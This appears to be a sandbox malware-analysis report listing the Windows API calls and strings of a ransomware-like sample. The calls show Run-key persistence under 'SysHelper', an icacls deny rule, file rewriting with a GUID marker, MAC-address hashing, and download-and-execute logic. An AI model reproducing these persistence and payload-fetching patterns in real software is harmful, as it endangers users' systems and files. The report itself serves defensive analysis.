Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 7c2afe906463cfbedab116039792bbe954fbe7ea87398fca930470cb3222a941
Instruction ID: 61e913d1650d8a742193ca01553eb969c2bfb6574d0ac78ddb22d065dcd885ca
Opcode Fuzzy Hash: 7c2afe906463cfbedab116039792bbe954fbe7ea87398fca930470cb3222a941
Instruction Fuzzy Hash: 8B513B71D40209EADB20ABA4DC4AFEFBBB8FB05744F100125FA00F6291E7795A018BA5

Function 0078F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00791AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791ACA
Part of subcall function 00791AB0: DispatchMessageW.USER32(?), ref: 00791AE0
Part of subcall function 00791AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0078F900
_memmove.LIBCMT ref: 0078F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0078FA51
_memmove.LIBCMT ref: 0078FADA

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 245b58b57f8583e876439d2c894393a4136a5aacb702971f38e7afaf64148e7f
Instruction ID: 57611c1611281e487256ac839fe204d376ac633a1ae5bae33c7c8be9674802a6
Opcode Fuzzy Hash: 245b58b57f8583e876439d2c894393a4136a5aacb702971f38e7afaf64148e7f
Instruction Fuzzy Hash: 96528E71D00208DFDF10EFA8D899BDEB7B5FF05308F108169E419A7251E779AA49CBA1

Function 0078E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,0087FCA4,00000000,00000000), ref: 0078E8CE
__CxxThrowException@8.LIBCMT ref: 0078E8E4

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,007CF299,?,?,?,?,?,?,?,007CF299,?,00888238,?), ref: 007B0F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0078E8F9
__CxxThrowException@8.LIBCMT ref: 0078E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0078E928
__CxxThrowException@8.LIBCMT ref: 0078E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0078E95D
__CxxThrowException@8.LIBCMT ref: 0078E96F
_memset.LIBCMT ref: 0078E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0078E9A2
__CxxThrowException@8.LIBCMT ref: 0078E9B4
_sprintf.LIBCMT ref: 0078E9D3

Strings

%.2X, xrefs: 0078E9CD

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 168a7346c64ac82236006fe7e0c0d769caabf25f4a46779c740cbca71676358f
Instruction ID: e166631dd857e308e2d02100c9265d0a1261c420f1ff4fcdb160adbd373b40b5
Opcode Fuzzy Hash: 168a7346c64ac82236006fe7e0c0d769caabf25f4a46779c740cbca71676358f
Instruction Fuzzy Hash: 7E515071D40209EADF11EFA4DC46FEEBBB8FB05704F104525F911B6281E7B9AA05CBA1

Function 0078EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,0087FCA4,00000000,00000000,00000000,?), ref: 0078EB01
__CxxThrowException@8.LIBCMT ref: 0078EB17

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,007CF299,?,?,?,?,?,?,?,007CF299,?,00888238,?), ref: 007B0F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0078EB2C
__CxxThrowException@8.LIBCMT ref: 0078EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0078EB4E
__CxxThrowException@8.LIBCMT ref: 0078EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0078EB83
__CxxThrowException@8.LIBCMT ref: 0078EB95
_memset.LIBCMT ref: 0078EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0078EBC8
__CxxThrowException@8.LIBCMT ref: 0078EBDA
_sprintf.LIBCMT ref: 0078EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0078EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0078EC4F

Strings

%.2X, xrefs: 0078EBEE

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 01581683c719456e80a5fe6194306a9b7b169dc5c15bb962e44a222697cb3040
Instruction ID: 7d37b51176348cfcc58a6ee298d9039bcf122856a936a7253a3ae8322b8e8a30
Opcode Fuzzy Hash: 01581683c719456e80a5fe6194306a9b7b169dc5c15bb962e44a222697cb3040
Instruction Fuzzy Hash: 3E515371E40209EADF21EFA0DC46FEEBBB8FB44704F100525F901B6281E779A9058BA4

Function 0078E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0078E67F

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,?,?,?,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0CA5

_malloc.LIBCMT ref: 0078E68B
_wprintf.LIBCMT ref: 0078E69E
_free.LIBCMT ref: 0078E6A4

Part of subcall function 007A0BED: RtlFreeHeap.NTDLL(00000000,00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0078E6B9
_free.LIBCMT ref: 0078E6C5
_malloc.LIBCMT ref: 0078E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0078E6E0
_sprintf.LIBCMT ref: 0078E720
_wprintf.LIBCMT ref: 0078E732
_wprintf.LIBCMT ref: 0078E73C
_free.LIBCMT ref: 0078E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0078E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0078E699
Address: %s, mac: %s, xrefs: 0078E72D

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: bfe1d7adc7862911c443429268c87631e8f542f26bed2f5577987f12adecfa1f
Instruction ID: e4ac994b507d3602c0435a3145dab51fefb86d60508326118355205af15cb6e1
Opcode Fuzzy Hash: bfe1d7adc7862911c443429268c87631e8f542f26bed2f5577987f12adecfa1f
Instruction Fuzzy Hash: 9E1166B6A01654BAD2B1B3B40C0AEFF76DC9F87711F0406A5FE98D1142E60C5A0097F2

Function 0078FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0078FBD5
_memmove.LIBCMT ref: 0078FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0078FC63
_malloc.LIBCMT ref: 0078FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0078FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0078FCA5
_free.LIBCMT ref: 0078FCD7

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 1cd38fd4f4a9dceffe58a4ec470fa30cc25a5b2b1ee2592fa2f4379898c9428a
Instruction ID: d88cb346c047f39a1e35442e132c9629666f8511f4a682900b6c9f787d04696f
Opcode Fuzzy Hash: 1cd38fd4f4a9dceffe58a4ec470fa30cc25a5b2b1ee2592fa2f4379898c9428a
Instruction Fuzzy Hash: DFB19E70D10208DBDF20EFA4DC59BDEB7B5BF15308F1041A9E409AB252EB399A45CFA1

Function 00791CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D12
_memset.LIBCMT ref: 00791D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00791D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00791DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00791E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00791E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00791EA5
GetCommandLineW.KERNEL32 ref: 00791EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00791EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00791ECE
PathFindFileNameW.SHLWAPI(?), ref: 00791EDB
UuidCreate.RPCRT4(?), ref: 00791EFC
UuidToStringW.RPCRT4(?,?), ref: 00791F14
RpcStringFreeW.RPCRT4(00000000), ref: 00791F64
PathAppendW.SHLWAPI(?,?), ref: 00791F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00791F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0079202D
DeleteFileW.KERNEL32(?), ref: 00792036
CopyFileW.KERNEL32(?,?,00000000), ref: 0079204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0079206E
_memset.LIBCMT ref: 00792090
lstrcpyW.KERNEL32(?,008802FC), ref: 007920AA
lstrcatW.KERNEL32(?,?), ref: 007920C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 007920CE
lstrlenW.KERNEL32(?), ref: 007920D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 007920F3
RegCloseKey.ADVAPI32(00000000), ref: 007920FC
_memset.LIBCMT ref: 00792120
SetLastError.KERNEL32(00000000), ref: 00792146
lstrcpyW.KERNEL32(?,icacls "), ref: 00792158
lstrcatW.KERNEL32(?,?), ref: 0079216D

Strings

" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0079216F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00791D06, 00792064
SHGetFolderPathW, xrefs: 00791E9F
Shell32.dll, xrefs: 00791E94
" --AutoStart, xrefs: 007920C2
D, xrefs: 00792128
SysHelper, xrefs: 00791D5B, 007920EB
icacls ", xrefs: 0079214C
" --AutoStart, xrefs: 00791DD1

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 40636bb1c4665beab01fba4686650a9c582fbb9682e3713e208921e3b00a2f02
Instruction ID: 6163bc7f964d10f2fe622fd439723490ff16f713b2fbf4b7a69847c1c6636d92
Opcode Fuzzy Hash: 40636bb1c4665beab01fba4686650a9c582fbb9682e3713e208921e3b00a2f02
Instruction Fuzzy Hash: 88E18C75D4121AEBDF24DBA0DD49FEEB7B8BF04304F1040AAE505E6191EB78AA85CF50

Function 007911C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0079120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00791228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0079123D
MoveFileW.KERNEL32(00000000,?), ref: 00791277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 007912B1
_memset.LIBCMT ref: 007912C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00791301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00791314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0079131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00791349
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00791381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00791388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 007913E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00791409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00791417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0079141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00791471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00791491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 007914CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0079159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 007915D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 007915F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00791649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0079166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00791678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0079168D
MoveFileW.KERNEL32(?,?), ref: 007916D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007916EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00791364, 00791666, 00791672

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 6934829c0c9334e11bac525245510abe672667441ec15b14d32c50a9e02fc0ff
Instruction ID: 08441485d5e4f8b142a5f76417dfcb76f0e03ec10ff65fc031134ea6fddaa905
Opcode Fuzzy Hash: 6934829c0c9334e11bac525245510abe672667441ec15b14d32c50a9e02fc0ff
Instruction Fuzzy Hash: 6122AD70E01209EBEF14EBA4EC89BEEB7B8FF05310F504159F515A7292DB785A05CBA1

Function 0079DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078ECB0: _strtok.LIBCMT ref: 0078ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0079DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0079DD01

Part of subcall function 00793C40: _memset.LIBCMT ref: 00793C83

UuidCreate.RPCRT4(?), ref: 0079DD3C
UuidToStringA.RPCRT4(?,?), ref: 0079DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0079DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0079DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0079DDDC
_memset.LIBCMT ref: 0079DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0079DEFC

Part of subcall function 00792900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00792966

_wcsstr.LIBCMT ref: 0079DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0079E07B

Part of subcall function 0078DD40: _wcsstr.LIBCMT ref: 0078DD8D
Part of subcall function 0078DD40: _wcsstr.LIBCMT ref: 0078DDB6
Part of subcall function 0078DD40: _memset.LIBCMT ref: 0078DDE4
Part of subcall function 0078DD40: lstrlenW.KERNEL32(?), ref: 0078DE0A
Part of subcall function 0078DD40: gethostbyname.WS2_32(00880134), ref: 0078DEA7

_memmove.LIBCMT ref: 0079DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0079E10D
lstrcpyA.KERNEL32(?,?), ref: 0079E229
PathAppendA.SHLWAPI(?,?), ref: 0079E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0079E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0079E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0079E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0079E2FB
CloseHandle.KERNEL32(00000000), ref: 0079E317
InternetCloseHandle.WININET(00000000), ref: 0079E324
InternetCloseHandle.WININET(?), ref: 0079E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0079E34D

Strings

$run, xrefs: 0079DEAB
SHGetFolderPathA, xrefs: 0079DCFB
Shell32.dll, xrefs: 0079DCF0
Microsoft Internet Explorer, xrefs: 0079DEF7
.bit/, xrefs: 0079DF45

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: e124a816ae5347562789ccbfc034de680c8a61b224ba1ed6b807efe4038dff52
Instruction ID: f6b00c552b2309fda14dcf514c073a15bc95eb45142a21b9948a0fe678620dd7
Opcode Fuzzy Hash: e124a816ae5347562789ccbfc034de680c8a61b224ba1ed6b807efe4038dff52
Instruction Fuzzy Hash: 0D329D70508380DBEB30DF24DC49B9BBBE5BF85304F14491CF59996292D7BA9509CBA3

Function 00792220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00792235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00792240
PathFindFileNameW.SHLWAPI(00000000), ref: 00792248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00792256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0079226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00792275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00792280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00792291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0079229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 007922AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 007922B5
